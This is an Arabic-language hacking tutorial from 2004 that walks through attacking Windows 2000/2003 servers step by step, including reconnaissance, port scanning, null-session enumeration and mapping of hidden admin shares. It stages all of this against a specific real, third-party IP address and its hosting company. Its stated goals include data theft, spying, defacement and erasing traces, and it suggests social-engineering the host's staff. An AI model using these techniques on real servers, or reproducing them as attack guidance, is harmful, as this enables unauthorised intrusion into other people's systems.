Ms-Windows Hacking Black Paper
 

 

 

 


This black paper was prepared by:

 

Muslim_Haqer
 

 

 

 

 

 

 


Accomplished at : 21/08/2004
First published at : 26/09/2004

 

أوجه التحية للجميع  , وأعتذر عن غيبتي الطويلة , وأعود لكم بهذه المشاركة التي أهديها لصديقي العزيز MJM وإلى جميع منتديات الهاكر العربية , وآمل أن تحوز على رضاكم.

 

أود أن أشير في البداية إلى أن معظم السيرفرات التي تعمل على الإنترنت هي يونكس أو لينكس , ويعود ذلك لتفوق أداء يونكس على مستوى السيرفر , وقوته ومتانته . وأيضا يجب ألا ننسى أن بدايات الإنترنت كانت مع يونكس ( موجود من العام 1970) تقريبا . وسأورد الآن التعريف الرسمي الذي تذكره مايكروسوفت عن يونكس :

UNIX

A powerful, multi-user, multitasking operating system initially developed at AT&T Bell Laboratories in 1969 for use on minicomputers. UNIX is considered more portable, that is, less computer-specific, than other operating systems because it is written in C language. Newer versions of UNIX have been developed at the University of California at Berkeley and by AT&T.

وهو تعريف للتدليل على قوة اليونكس . كما لا يجب ألا ننسى موضوع الكلفة بين النظامين , فالشركات يهمها موضوع الكلفة كثيرا وبالتأكيد فإن اللينكس أفضل لها بكثير ..

 

ولكن ومع ظهور windows server 2000  بدأت مايكروسوفت تدخل بقوة في هذا المجال , نظرا للمرونة العالية والخدمات المتوفرة في النظام , عدا عن قوة نواة النظام  بحيث لم يعد نظام ويندوز نظام ضعيف يمكن أن ينهار بسهولة . أيضا حقق النظام قفزة كبيرة في مجال الأمن وهو شيء مهم جدا في فعالية أي سيرفر .

ورافق ذلك اعتماد بروتوكول TCP/IP كبروتوكول أساسي للنظام مع إدخال خدمة DNS . وبالنسبة للشركات قدمت مايكروسوفت أحد أهم الخدمات وهي Active Directory كخدمة دليل والتي تعتمد على بروتوكول LDAP , وبالتالي أهلها للتربع على صدارة سوق أنظمة التشغيل بالنسبة للشركات , وكل ذلك جاء متكاملا مع قوة الويندوز كنظام Desktop .

 

وجاء بعد ذلك windows server 2003  بجميع نسخه الأربعة , ليحقق قفزة إضافية كبيرة خصوصا وأنه يركز على الأمن بصورة كبيرة على رغم الثغرات التي ظهرت به.

وإذا علمنا أن أرباح مايكروسوفت الصافية لعام 2003  هي 32.19  مليار دولار , يمكن أن نستنج صحة الكلام الذي ذكرته.

 

ذكرت تلك المقدمة لأوضح سبب أن أشهر عمليات الهاكينج والاختراق على الإنترنت مرتبطة باللينكس لأنه باختصار وحتى الآن نظام التشغيل الأول لسيرفرات الإنترنت . وهذا أيضا سبب كثرة المواضيع التي تتحدث عن اختراقات لنظام لينكس . 

ولقلة المواضيع التي تتحدث عن اختراق الويندوز, جاءت الفكرة لكتابتي هذه المشاركة , والتي تنقسم إلى جزأين :

1- في الجزء الأول أتناول كيفية اختراق سيرفرات ويندوز والسيطرة عليها Windows servers (2000+2003)

     2- في الجزء الثاني سأتحدث عن اختراق أنظمة ويندوز الخاصة بالمستخدم العادي  windows desktop (XP+2000)

 

وبالتأكيد هذه المشاركة موجهة لكل الذين يهتمون بأمن أنظمة ويندوز, من مدراء الأنظمة والشبكات ومسئولي المواقع وحتى المستخدمين العاديين وهي فرصة للتعرف عن طبيعة الهجمات التي يقوم بها الهاكرز ضد أنظمة ويندوز.

 

Part I >>> hacking windows servers (2000 + 2003)

 

 

 

Hacking Road Map

للقيام بعملية هجوم شاملة على أي سيرفر هناك طريق وخطوات يجب أن تقوم بها لتحقيق أهدافك وهي :

1- جمع المعلومات وتقفي أثرالسيرفر المستهدف .

2- فحص السيرفر.

3- جمع معلومات عن أهداف داخل السيرفر ( خدمات + أسماء مستخدمين + موارد مشاركة + ..............).

4- تحديد الثغرة المناسبة وتطبيقها لاختراق السيرفر.

5- بعد الإختراق توسيع وتعزيز السيطرة على السيرفر.

6- القيام بما تريده من أهداف ( سرقة معلومات + تجسس + تغيير صفحات المواقع )

7- مسح أثرك وعدم ترك أي شيء يدل عليك.

Footprinting > Scan > Enumeration > Penetration > Expand influence &control > Hack > Cleanup

 

وحديثنا طبعا سيكون مخصص لسيرفرات ويندوز .

 

حتى تقوم باختراق windows server , يجب أن تجد أحدها على الإنترنت , ويتم ذلك من خلال بعض أدوات الفحص الشهيرة مثل أداة Nmap , أو من خلال المواقع التي تقدم خدمة تحليل للمواقع مثل http://news.netcraft.com .

وأنصح الجميع بعدم استخدام أداة Nmap , لأنها لا تعطي تحديد دقيق لأنظمة ويندوز في بعض المرات.

ولنفترض أنك وجدت أحد السيرفرات التي تعمل على ويندوز , يفضل أن تقوم بالتأكد من ذلك عن طريق الاتصال بالسيرفر عن طريق Remote desktop ( هذا إذا كان السيرفر يشغل تلك الخدمة ) . وأيضا يمكن أن يظهر خلال عملية الفحص فإذا وجدت المنفذ رقم 3389  مفتوحا فهذا يعني أن خدمة Remote desktop تعمل على السيرفر. لعمل ذلك قم بالآتي :

Start >> run >>mstsc

ستظهر بعدها شاشة الاتصال قم بكتابة عنوان الموقع أو IP , طبعا وأنت متصل بالإنترنت .

 

فإذا نجحت بالاتصال فيمكن معرفة نسخة الويندوز بالتحديد وبشكل قاطع ونهائي , حيث تظهر شاشة الولوج وبها نسخة الويندوز وما تم ذكره هو فقط للتأكد من نظام التشغيل , حيث تفيدنا هذه المعلومة عند تحديد الثغرة المناسبة لاختراق السيرفر.

 

ملاحظة : برنامج Remote desktop يأتي مدمج مع ويندوز XP وما بعده , ولكن إذا كنت تعمل على windows 2000 فيمكن أن تقوم بتنزيل البرنامج من XP CD وهو موجود على المسار التالي E:\support\tools تحت إسم msrdpcli.exe

 

بعد أن نكون حددنا هدفنا وتأكدنا من ذلك نبدأ العمل والهجوم على السيرفر .

 

One 1/ Footprinting

أولى خطواتنا في عملية الإختراق هي عملية جمع المعلومات عن السيرفر المستهدف وتسمى هذه العملية Footprinting.

ويمكن تحقيق ذلك عن طريق عدة أدوات  منها أداة Whois , وأيضا عن طريق بعض المواقع مثل arin.net الخاص ب IP

وكمثال على ذلك , لنفحص العنوان التالي عن طريق arin.net : 69.20.11.37

Search results for: 69.20.11.37

OrgName:    Rackspace.com
OrgID:      RSPC
Address:    112 E. pecan
Address:    suite600. 
City:       San Antonio
StateProv:  TX
PostalCode: 78205
Country:    US
 
NetRange:   69.20.0.0 - 69.20.127.255
CIDR:       69.20.0.0/17
NetName:    RSPC-NET-4
NetHandle:  NET-69-20-0-0-1
Parent:     NET-69-0-0-0-0
NetType:    Direct Allocation
NameServer: NS.RACKSPACE.COM
NameServer: NS2.RACKSPACE.COM
Comment:
RegDate:    2003-01-24
Updated:    2004-04-28
 
OrgAbuseHandle: ABUSE45-ARIN
OrgAbuseName:   Abuse Desk
OrgAbusePhone:  +1-210-892-4000
OrgAbuseEmail:  abuse@rackspace.com
 
OrgTechHandle: IPADM17-ARIN
OrgTechName:   IPADMIN
OrgTechPhone:  +1-210-892-4000
OrgTechEmail:  ipadmin@rackspace.com
كما شاهدنا فقد حصلنا على بعض المعلومات وهي :
 ( أرقام هواتف+ إيميلات + إسم الشركة المستضيفة وعنوانها+ إسم الشخص المسئول ).
والإستغلال الشائع لمثل هذه المعلومات هو في ما يعرف بالهندسة الإجتماعية أو Social engineering , حيث يمكن من خلال
 مكالمة هاتفية أن تعرف بعض التفاصيل عن الهدف بطريقة غير مباشرة. للمزيد عن Social engineering يمكن أن تقرأ كتاب 
كيفين ميتنيك (الهاكر الأمريكي المشهور ) Art of deception . 
كما عرفنا نطاق الشبكة IP range و حصلنا على عناويين سيرفرات DNS للموقع والشركة المستضيفة وهي مهمة لأنها هي التي 
تقود إلى السيرفر مباشرة عندما تكتب العنوان في المتصفح. ويمكن جمع المزيد من المعلومات حول DNSعن طريق أداة dnslint 
وهي أداة ضمن برامج الدعم وتأتي مع windows server 2003 support tools . 
ملاحظة : أدوات الدعم windows server 2003 support tools  مهمة للغاية , إستخدامتها متقدمة وهي مهمة بعد ذلك في 
عملية السيطرة على السيرفر والدومين بالكامل إن وجد, ويمكن أن تجدها على CD 2003 على المسار التالي : 
E:\Support\Tools\support.cab
وكمثال على استخدام الأداة السابقة سأقوم بفحص سيرفر dns للشركة المستضيفة للموقع : 
C:\Program Files\Support Tools> dnslint /d rackspace.com  
 
Dnslint will attempt to verify the DNS entries for:
 
       rackspace.com
 
This process may take several minutes to complete...............................
...................................
 
generating report file....
Creating report called dnslint.htm in current directory
 
قامت الأداة بإعطائي تقرير كامل إسمه dnslint.htm ويحوي الكثير من التفاصيل , وهذه هي نتائج الفحص كاملة : 

DNSLint Report

System Date: Mon Aug 16 15:14:11 2004

Command run:

dnslint /d rackspace.com

Domain name tested:

    rackspace.com

The following 2 DNS servers were identified as authoritative for the domain:

DNS server: ns2.rackspace.com
IP Address: 207.71.44.121
UDP port 53 responding to queries: YES
TCP port 53 responding to queries: Not tested
Answering authoritatively for domain: YES

SOA record data from server:
Authoritative name server: ns.rackspace.com
Hostmaster: hostmaster.rackspace.com
Zone serial number: 2004081001
Zone expires in: 7.00 day(s)
Refresh period: 10800 seconds
Retry delay: 3600 seconds
Default (minimum) TTL: 300 seconds

Additional authoritative (NS) records from server:
ns.rackspace.com 207.235.16.2  >>>  this is the vital resource record for the server
ns2.rackspace.com 207.71.44.121 >>>  this is the 2end. vital resource record for the server

Host (A) records for domain from server:
64.39.2.185

Mail Exchange (MX) records from server (preference/name/IP address):
100 mail.iad1.rackspace.com 69.20.0.175
10 mx.sat.corp.rackspace.com 64.39.1.217


DNS server: ns.rackspace.com
IP Address: 207.235.16.2
UDP port 53 responding to queries: YES
TCP port 53 responding to queries: Not tested
Answering authoritatively for domain: YES

SOA record data from server:
Authoritative name server: ns.rackspace.com
Hostmaster: hostmaster.rackspace.com
Zone serial number: 2004081001
Zone expires in: 7.00 day(s)
Refresh period: 10800 seconds
Retry delay: 3600 seconds
Default (minimum) TTL: 300 seconds

Additional authoritative (NS) records from server:
ns2.rackspace.com 207.71.44.121
ns.rackspace.com 207.235.16.2

Host (A) records for domain from server:
64.39.2.185

Mail Exchange (MX) records from server (preference/name/IP address):
100 mail.iad1.rackspace.com 69.20.0.175
10 mx.sat.corp.rackspace.com 64.39.1.217
 

لن أخوض في تحليل النتائج كثيرا , وقد يكون هذا الموضوع متقدم على كثير منكم , ولكن المعلومات التي حصلنا عليها مهمة جدا في حال إستطعت أن تخترق Dns server , ويمكن التلاعب بكافة السجلات للعناويين وهذا سيؤدي إلى حجب الخدمة عن المواقع المسجلة لدى السيرفر وتحويلها إلى موقع تحدده أنت, وأنوه إلى أن مسألة أمن سيرفرات DNS هي قضية خطيرة وحساسة جدا. كما أن معظم سيرفرات DNS تعمل على Linux وتستخدم برنامج Bind لترجمة أسماء المواقع إلى عناويين IP .

وأشير إلى أن موقع قناة الجزيرة أثناء تغطية الحرب على العراق الحبيب تعرض للحجب بنفس الطريقة السابقة , حيث قامت مجموعة من الهاكر الأمريكيين باختطاف سيرفر dns الذي يدل على قناة الجزيرة, وتحويل السجل الخاص بالقناة إلى موقع خاص بهم وضعوا به العلم الأمريكي وكتبوا عبارة " دعوا الحرية تنتصر " .

 

تعريف بسيط لخدمة DNS :

هي عبارة عن خدمة تقوم بتحويل أسماء المواقع إلى عناويين IP , لأن الأجهزة تتصل ببعضها باستخدام أرقام وليس حروف أو كلمات . ووجدت لأنه من الصعب على الإنسان تذكر أرقام طويلة مثل 212.66.150.1 ولكن يسهل تذكر abc.com مثلا.

 

two 2: Scaning

 

نأتي الآن للخطوة الثانية وهي عملية فحص السيرفر ومعرفة الخدمات التي تعمل عليه وأرقام المنافذ , ويتم ذلك عن طريق عدة أدوات منها أداتي ,Netcat, Nmap وبرنامج Superscan الذي يتميز بالسرعة . وهناك أيضا أداة تأتي مرفقة مع

CD windows server 2003  اسمها Portqry وتجدها على المسار التالي مع برامج الدعم كاملة:

E:\support\tools

تحت إسم support.cab . وهي أداة طورتها مايكروسوفت لفحص سيرفرات الويندوز ويمكن الاستفادة منها.

  تقوم هذه الأداة بفحص الخدمات التي تعمل على سيرفر معين سواء كانت تعمل على TCP و UDP . ويمكن معرفة جميع الأوامر المتعلقة بها عن طريق كتابة الأمر وبعده /? . ولكن سأذكر أهم ثلاثة أوامر لهذه الأداة :

1-     Portqry -n Hostname -e port

يقوم هذا الأمر بفحص TCP Port معين تحدده أنت .

     2- Portqry -n Hostname -r port:port

هنا ستقوم الأداة بفحص نطاق TCP Ports   تحدده أنت . على سبيل المثال إذا أردت أن تفحص البورتات من 21 إلى 1335 قم بكتابة الأمر التالي :

Portqry -n Hostname -r 21:1335

في المثالين السابقين قامت الأداة بفحص TCP بورت فقط وهذا هو الخيار الإفتراضي الذي تفحص به الأداة .

ولكن إذا أردت أن تفحص UDP ports فقم بإضافة التالي على الأمر : -P UDP على سبيل المثال :

portqry -n Hostname -e 53 -p UDP

في المثال السابق ستقوم الأداة بفحص UDP Port  رقم 53 وهو كما نعرف جميعا المنفذ الذي تعمل عليه dns service

وإذا أردت أن تفحص جميع المنافذ UCP+TCP مرة واحدة قم بكتابة الأمر التالي :

 3- portqry -n Hostname -o 25,445,1024 -p both

 

الأمر السابق سيقوم بفحص البورتات سواء UDP أو TCP رقم 25+445+1024

 

هذه هي أهم أوامر هذه الأداة التي أعتقد أنها من أفضل الأدوات لفحص منافذ سيرفرات ويندوز لأنها مطورة من مايكروسوفت , وتعطي نتائج دقيقة في عملية الفحص .

ناخذ مثال على عملية الفحص بالأداة السابقة :

ادخل على سطر الأوامر وتحديدا إلى المكان الذي وضعت فيه الأداة وليكن مثلا d:/ واكتب الأمر التالي :

 

D:\portqry -n 69.20.11.37 -o 21,25,135,3389,1000

 

Querying target system called:

 

 69.20.11.37

 

Attempting to resolve IP address to a name...

 

Failed to resolve IP address to name

 

 

TCP port 21 (ftp service): LISTENING

 

Data returned from port:

220 Microsoft FTP Service

 

331 Password required for anonymous.

 

TCP port 25 (SMTP service): LISTENING

Data returned from port:

220 S39082 Microsoft ESMTP MAIL Service, Version: 6.0.3790.0 ready at  Mon, 16 A

ug 2004 08:55:26 -0400

 

TCP port 135 (epmap service): FILTERED

TCP port 3389 (unknown service): LISTENING

TCP port 1000 (unknown service): NOT LISTENING

 

كما نشاهد بداية قامت الأداة بداية بعمل query للحصول على إسم الموقع hostname , وفشلت وهذا يعني أن الموقع لا يمكن الوصول له إلا برقم IP لعدم وجود dns name للموقع.

وقمت بفحص 5 منافذ وكما نشاهد فهناك ثلاثة منافذ قامت بالرد على الأداة وهي 21+25+3389 وعرفنا أن هناك services تعمل على تلك المنافذ وهي FTP + SMTP+ remote desktop , فإذا عندما يكون الرد Listening فهناك منفذ مفتوح وينتظر اتصال على الخدمة .

وعندما يكون الرد Not Listening فذلك يعني أنه لا توجد أي خدمة تعمل على ذلك المنفذ .

وإذا كان الرد   Filtered فذلك يعني إمكانية أن هناك خدمة تعمل ولكن خلف Firewall يمنع الأداة من تلقي رد على الاستفسار المرسل لذلك المنفذ , وهذا منطقي في بعض الشركات التي تشغل خدمات خاصة على سيرفراتها للمستخدمين المحليين فقط , وتقوم بإغلاق منافذها للعالم الخارجي.

 

ذكرت تلك الأداة من باب العلم بها , فهي صغيرة و مفيدة لفحص سريع ودقيق .

 

هناك قاعدة ( في وجهة نظري طبعا ( يفضل أن يعرفها الجميع وهي أنك إذا أردت أن تخترق وأن تقوم بهجوم حقيقي على أي سيرفر سواء ويندوز أو يونكس فيجب أن تجيد العمل من سطر الأوامر أو من الشل في يونكس لأن معظم وأقوى الأدوات تعمل من هناك عدا عن المرونة العالية التي يوفرها سطر الأوامر أو الشل , في يونكس .

 

ولكن وكما نعرف جميعا , فالميزة التي حققت لنظام windows الصدارة على مستوى العالم هي GUI , أي الواجهات الرسومية التي تتوفر في جميع أجزاء النظام وتسهل عملية إدارة النظام .

 

 

هناك برنامج  فحص ممتاز جدا لسيرفرات الويندوز , ويعمل كواجهة رسومية وليس من سطر الأوامر وهو

guard network security scanner Lan  من تطوير شركة GFI software LTD .

ملاحظة : النسخة التي أفحص بها هي 3.3 وهناك نسخ أحدث منها , ويمكن أن تقوم بالبحث عنها على الإنترنت.

يقدم هذا البرنامج فحص شامل لسيرفرات الويندوز وبشكل غير مسبوق ولا يترك شيء من دون أن يمر عليه , ويمكن أن ألخص الأجزاء التي يفحصها البرنامج كما يلي :

·        يقوم بمعرفة نظام التشغيل ونسخته ودوره في الشبكة

 (Domain controller or member server or stand-alone)

·        يقوم بكشف جدول أسماء الخدمات العاملة على السيرفر وإسم الجهاز وعنوان بطاقة الشبكة 

Netbios name table + Mac address.

·        يقوم بكشف المستخدم الحالي المسجل دخوله للنظام وإسم الدومين .

·        يقوم بفحص لخدمة SNMP .

·        يقوم بسرد المجلدات المشاركة على السيرفر وأسمائها ومساراتها وأذونات الوصول لجميع المستخدمين.

·        يقوم بعرض أسماء المجموعات والمستخدمين الموجودين على السيرفر .

·        يقوم بسرد جميع الخدمات Services العاملة على السيرفر

·        يقوم بعرض Sessions المتصلة بالسيرفر أثناء عملية الفحص.

·        يقوم بكشف NIC الموجودة على السيرفر

·        يقوم بسرد جميع محركات الأقراص الصلبة والمرنة والمدمجة.

·        يقوم بتسجيل وقت الفحص والتاريخ وعرض الوقت الذي بقي فيه السيرفر يعمل.

·        يقوم بعرض سياسة كلمات المرور للسيرفر .

·        يقوم بقراءة مفاتيح الريجستري التي يمكن من خلالها معرفة مالك السيرفر وإسم الشركة ونسخة النظام .

·        يقوم بعرض الرقعات الأمنية المركبة على السيرفر وأرقامها.

·        يقوم بعرض سياسة التدقيق للسيرفر والتي تقوم بتسجيل كل الأحداث على السيرفر .

·        يقوم بفحص جميع منافذ السيرفر TCP+UDP  وإعطاء إسم الخدمة والتقاط banners عليها.

·  وبعد القيام بجميع عمليات الفحص المذكورة يقوم بعرض تحذيرات تتضمن رقعات ناقصة أو خدمات تعمل وتشكل خطورة على النظام , عدا عن بعض مفاتيح الريجستري التي تعطي مؤشر على

 Misconfiguration in the system

أيضا يكشف عن أماكن في الويب سيرفر يمكن أن يوجد بها نقاط ضعف CGI

أشير أيضا إلى قدرة البرنامج على فحص سيرفرات اللينكس وبشكل جيد ومستفيض . جرب افحص 69.20.50.1

 

ملاحظة : 

عندما تقوم بفحص Windows server على الأنترنت , توقع ألا تجد كل النتائج السابقة بسبب وجود الكثير من الحواجز مثل Firewall وأذونات الوصول إلى Active directory , فالنتائج السابقة تظهر بالكامل عندما تقوم بعملية الفحص من داخل الشبكة وأن تكون لديك صلاحيات Administrator أوأن تكون member of Domain , وبصلاحيات محددة وكل ذلك غير متوفر لك من بعيد.

 

يمكن أن تظهر لك النتائج المكتوبة بالخط الأحمر عند فحص بعض السيرفرات على الإنترنت وبعضها يقدم معلومات مهمة لتنفيذ عملية هجوم على السيرفر.

 

ولتوضيح ذلك لنأخذ مثال على عملية فحص باستخدام Languard :

قم بفتح نافذة البرنامج الرئيسية واكتب اسم السيرفر المراد فحصه أو IP address الخاص به :

ولنفحص العنوان السابق :

 

[69.20.11.37]

SMB probing ...

Connecting ...(1/6)

Name "S39082" encoded as "FDDDDJDADIDCCACACACACACACACACACA"

Session established.(2/6)

Security mode : user

Protocol negotiated.(3/6(

Operating system : Windows Server 2003

Domain : PUSHLIVE

LAN manager : Windows Server 2003 5.2

NULL session established.(4/6(

Connected to IPC$.(5/6(

 

Read server info ...

--> Error (5) Access is denied

List trusted domains ...

List shares ...

Level 502 is not available.

Falling back to level 1.

--> Error (5) Access is denied

List groups ...

--> Error (1722) The RPC server is unavailable

List users ...

--> Error (1326) Logon failure: unknown user name or bad password

List services ...

--> Error (1326) Logon failure: unknown user name or bad password

List sessions ...

--> Error (5) Access is denied

List network transports ...

--> Error (5) Access is denied

List drives ...

--> Error (5) Access is denied

Read remote time of day ...

--> Error (5) Access is denied

Read password policy ...

--> Error (1326) Logon failure: unknown user name or bad password

Connect to remote registry ...

--> Error (5) Access is denied

 

Check for missing patches ...

 

Check security audit policy ...

--> Failed to open policy on the remote system

 

UDP scanning thread started ...

TCP scanning started ...

8 open ports

Gathering banners ...

Anonymous logins accepted ?

No

 

UDP scanning thread stopped.

SQL audit ... (S39082)

 

 

Alerts probing ..

Check for EXPN/VRFY commands ...

500 5.3.3 Unrecognized command

 

530 5.7.3 Client was not authenticated

وهذه صورة عن نتائج الفحص :

 

 

نأتي الآن لتحليل نتائج الفحص , فكما نشاهد قام البرنامج باكتشاف الأتي :

1-     نظام التشغيل + إسم الدومين + إسم الجهاز .

ملاحظة : قد يعطيك البرنامج أن نظام التشغيل هو Windows.net , وهو يقصد 2003 , ويمكن أن تتأكد من نسخة الويندوز بالتحديد عن طريق Remote desktop كما ذكرت في السابق.

     2- قام البرنامج بفحص كافة المنافذ المفتوحة على السيرفر وكانت النتيجة كالتالي :

 - TCP --   8 ports are in state " open "

 - UDP -- 11 ports are in state " open "

      ملاحظة : يقوم البرنامج افتراضيا بفحص 93 TCP port و 27 UDP port فقط لمنافذ خدمات معروفة . إذا أردت أن تفحص المزيد من المنافذ يجب أن تقوم بإعداد البرنامج لعمل ذلك, كالتالي :

 

بعدها ستصل إلى هنا :

اكتب رقم المنفذ المطلوب ثم إضافة ثم احفظ التغيرات .

وأشير إلى أهمية ذلك اني قمت بفحص نفس الهدف ببرنامج سوبر سكان(جميع المنافذ) وحصلت على منافذ مفتوحة أخرى :

+ 69.20.11.37   [Unknown]

      |___    21  File Transfer Protocol [Control]

                        |___ 220 Microsoft FTP Service..

      |___    25  Simple Mail Transfer

                        |___ 220 S39082 Microsoft ESMTP MAIL Service, Version: 6.0.3790.0 ready at  Fri, 27 Aug 2004 09:28:45 -0400 ..

      |___    80  World Wide Web HTTP

                        |___ HTTP/1.0 200 OK..Date: Fri, 27 Aug 2004 13:22:17 GMT..Content-Length: 8023..Content-Type: text/html; charset=utf-8..Cache-Contr

      |___   389  Lightweight Directory Access Protocol

      |___   443  https  MCom

      |___  1002

      |___  1433  Microsoft-SQL-Server

      |___  1720  h323hostcall

      |___  3389

      |___  5800  Virtual Network Computing server

      |___  5900  Virtual Network Computing server

المنافذ باللون الأحمر لم تظهر في عملية الفحص ببرنامج GFI .

أيضا هناك نقطة هامة أود أن أشير إليها وهي المتعلقة باكتشاف الهدف . جميع برامج الفحص تقوم بعمل ping على الهدف لتتأكد أن الهدف موجود , وبعد أن تتلقى الرد من الهدف  تبدأ عملية الفحص . ولكن بالنسبة " للهاكرز" هذا أمر غير جيد لأن معظم السيرفرات تقوم بتشغيل firewall يمنع الأداة من تلقي رد على حزم البيانات المرسلة , وهذا يعني أن عملية الفحص لن تتم.

ولكن برامج الفحص الذكية تقوم بإعطائك خيار الفحص مباشرة لتجنب firewall وهذا المطلوب .  

 نتذكر جميعا أمر أداة Nmap :

Nmap -P0 hostname

هذا الأمر يرغم الأداة على البدأ في عملية الفحص مباشرة , وبالنسبة لبرنامج GFI قم بإعداد البرنامج كالتالي :

بعدها ستصل إلى هنا :

قم بوضع علامة صح على الخيار في الأسفل لتتم عملية الفحص بشكل سليم .

ملاحظة : إذا أردت أن تقوم بفحص المنافذ فقط فأنا أنصح باستخدام برنامج سوبر سكان لأنه يعطيك مرونة كبيرة في عملية الفحص عدا عن سرعته العالية.

********************************************************************************

     3- قام بعرض Netbios name  الذي يحوي أسماء الخدمات والأجهزة العاملة على السيرفر, وقام أيضا بكشف Mac add

ملاحظة : هذه المعلومات يمكن أن تظهر فقط إذا كان Tcp port 139 مفتوح .

4 – قام البرنامج بإعطاء تحذير وهي أن هناك Terminal service تعمل على السيرفر , وهي remote desktop ويظهر ذلك من خلال فحص المنفذ رقم 3389 .

وفي عملية فحص أخرى منفصلة , استطاع البرنامج أن يعرض جميع Shares على السيرفر كما في الصورة , وذلك لأن السيرفر سمح باتصال null session , وأيضا عن طريق المنفذ 139 .

ملاحظة : يجب أن يكون المنفذ 139 أو 445TCP   مفتوحين أو أحدهما لتتمكن من إنشاء اتصال Null session

كما قام بعرض الوقت المحلي للسيرفر وهذا يعطيك فرصة للتخطيط للوقت المناسب للهجومRemote TOD  , وأيضا عرفت أن الجهاز Member server ضمن Domain .

 

 

ولكن وكما نلاحظ في الكلام المذكور في عملية الفحص قبل الصور, هناك الكثير من الأمور التي لم يتمكن البرنامج من فحصها وكان دائما يتلقى رسالة access is denied , للأسباب التي تحدثت عنها في السابق

 (Firewall + active directory permissions)

 

وكما لاحظنا لم يتمكن البرنامج من فحص الرقعات الغير مركبة على السيرفر ولم يتمكن من الوصول إليها .

وهنا أود أن أشير إلى نقطة وهو أنه من النادر أن تجد windows server معرض لاختراق بسبب رقع أمنية ناقصة , ويعود السبب في ذلك إلى أن عملية تركيب الرقع الأمنية في windows تختلف عن Unix من حيث ديناميكية تركيبها , فلقد طورت مايكروسوفت  برنامج للأتمتة عملية تركيب الرقع الأمنية بشكل تلقائي ومن دون تدخل مدير النظام.

والبرنامج هو automatic update الذي يجعل عملية تركيب الرقع ممكنة من دون أي تدخل من المستخدم , وتتم العملية بطريقتين :

1-     يتصل الجهاز مباشرة بسيرفرات مايكروسوفت ويقوم بتنزيل الرقعة وتنصيبها في الجهاز إذا ما تم إعداده لعمل ذلك أوتوماتيكيا.

2-     الطريقة الأولى ممكنة لعدد محدود من الأجهزة ولكن ماذا لو كان لدى شركة 3.000 جهاز . هل يعقل أن جميع الأجهزة ستتصل بسيرفر مايكروسوفت لتنزيل الرقعة وتقوم باستهلاك bandwidth , أو أن مدير النظام سيقوم بوضعها على قرص مدمج وتركيبها في كل جهاز على حدة ؟  لحل تلك المشكلة طورت مايكروسوفت برنامج يسمى

SUS >> software update service.

وهو ببساطة برنامج يعمل على سيرفر مركزي ويقوم منفردا بالاتصال بسيرفرات مايكروسوفت وتنزيل

 Patches+ service packs وتوزيعها على باقي الأجهزة بشكل أوتوماتيكي. وبذلك يمكن لجهازك أن يبقى

Up-to-date فيما يخص معالجة الثغرات الأمنية وبشكل أوتوماتيكي.

أشير إلى أن برنامج automatic update لا يأتي مدمجا مع 2000 أو Xp ويمكن تنزيله من موقع مايكروسوفت أو تركيب Xp sp1 إذا كنت تستخدم XP أو 2000 sp2 إذا كنت تستخدم 2000.

ولكن مع windows server2003 فهو يأتي مدمجا مع النظام عند تنصيبه .

وهنا لقطة سريعة عن البرنامج الذي يمكن الوصول إليه من خلال خصائص النظام

اضغط على الزرين windows+pauseBreak وستصل هناك .

 

 

فكما نشاهد الخيار الثالث يقوم بتنزيل الرقعة وتنصيبها أوتوماتيكيا في وقت أنت تحدده .

ولهذا فإن اختراق سيرفرات ويندوز أصعب من اللينكس , بسبب عملية التحديث الأوتوماتيكية لسيرفرات ويندوز.

ولذلك أن تجد  windows server على الإنترنت ويكون معرض للإختراق بسبب ثغرة , فهذا يعني أن الأدمن كسول لدرجة لا توصف , ويفتقد حتى للمعرفة البسيطة بأدوات مايكروسوفت, لأنه وكما قلت العملية لا تحتاج سوى لمعرفة بسيطة ببرنامج automatic update , وضغطتين من الفأرة لإعداد البرنامج !! تخيلوا...!!

ولكن ولأن أمثال هؤلاء يمكن أن يوجدوا , علينا أن نعمل ونبحث حتى نجد سيرفر يمكن إختراقه .  

 

 The hidden signature of this paper is Muslim haqer , hey kiddies don’t ever touch this article

نعود لعملية الفحص , والمنافذ المفتوحة على السيرفر , فقد وجدنا منافذ يمكن إستغلالها بشكل جيد وأقصد بالتحديد file service

عن طريق برتوكول Netbios والمنفذ 139 , وهو أيضا مفيد في عملية Enumeration .

وهذا يدفعني للحديث قليلا عن Default hidden shares لأي نظام windows NT , فعند تنصيب أي windows NT , ينشأ برنامج الإعداد default shares على الجهاز وهي كالتالي :

1-     Drive letters$

وهي كل partition موجود لديك على القرص الصلب . مثلا C يصبح C$ وD يصبح D$ وهكذا ..

2-     admin$

وهي مخصصة للوصول إلى مجلد الويندوز System Root directory , فإذا نصبت الويندوز على C:\ سيكون C:\windows .

3-     IPC$

يستخدم للسماح للبرامج و processes بالاتصال مع بعضها البعض وللوصول إلى الموارد المشاركة عن بعد .

والموارد السابقة تكون موجودة في أي windows NT , وهناك موارد أخرى في بعض الحالات مثل

Fax$ لخدمات الفاكس , print$ لإدارة الطابعات عن بعد.

وعلامة $ تعني أن share مخفي وغير ظاهر عند استعراض الموارد المشتركة.

هذه الموارد المشاركة موجودة في windows NT+2000+XP+2003

فكما لاحظنا أثناء عملية الفحص قام البرنامج باتصال null session وتم إنشاء الاتصال بخدمة IPC على السيرفر .

و null session هو الاتصال بالسيرفر من دون تقديم يوزر وكلمة مرور (without credentials )  anonymous user

ملاحظة : لتتمكن من إنشاء اتصال Null session يجب أن يكون المنفذ 139 أو 445 TCP  مفتوح , (SMB) .

ويمكن  لنا إنشاء إتصال كالسابق ,نذهب إلى سطر الأوامر ونتصل على IPC$ عن طريق الأمر التالي :

C:\>net use \\69.20.11.37\ipc$ "" /user:""

The command completed successfully.

فإذا تلقيت رسالة تفيد بنجاح الأمر , فهذا يعني أن الاتصال تم والجلسة بدأت .

يمكن بعدها أن تنفذ الأمر التالي الذي يقوم بعرض shares على السيرفر في حال لم يتمكن البرنامج من عرضها لك :

 

C:\>net view \\69.20.11.37

Shared resources at \\69.20.11.37

 

Share name   Type         Used as  Comment

-------------------------------------------------------------------------------

CertConfig   Disk                  Certificate Services configuration

CertEnroll   Disk                  Certificate Services share

The command completed successfully

 

وهنا تم عرض shares الظاهرة غير المخفية . لإخفاء share في ويندوز يتم إلحاق علامة $ بعد إسم share .

 

يمكن بعدها الاتصال ب shares على السيرفر وعمل mapping لها عندك على الجهاز عن طريق الأمر التالي :

C:\>net use x: \\69.20.11.37\C$

في الأمر السابق قمت بعمل mapping ل C$ على السيرفر وإعطاءها حرف X على جهازي المحلي , بحيث تظهر على الشكل التالي :

 

 

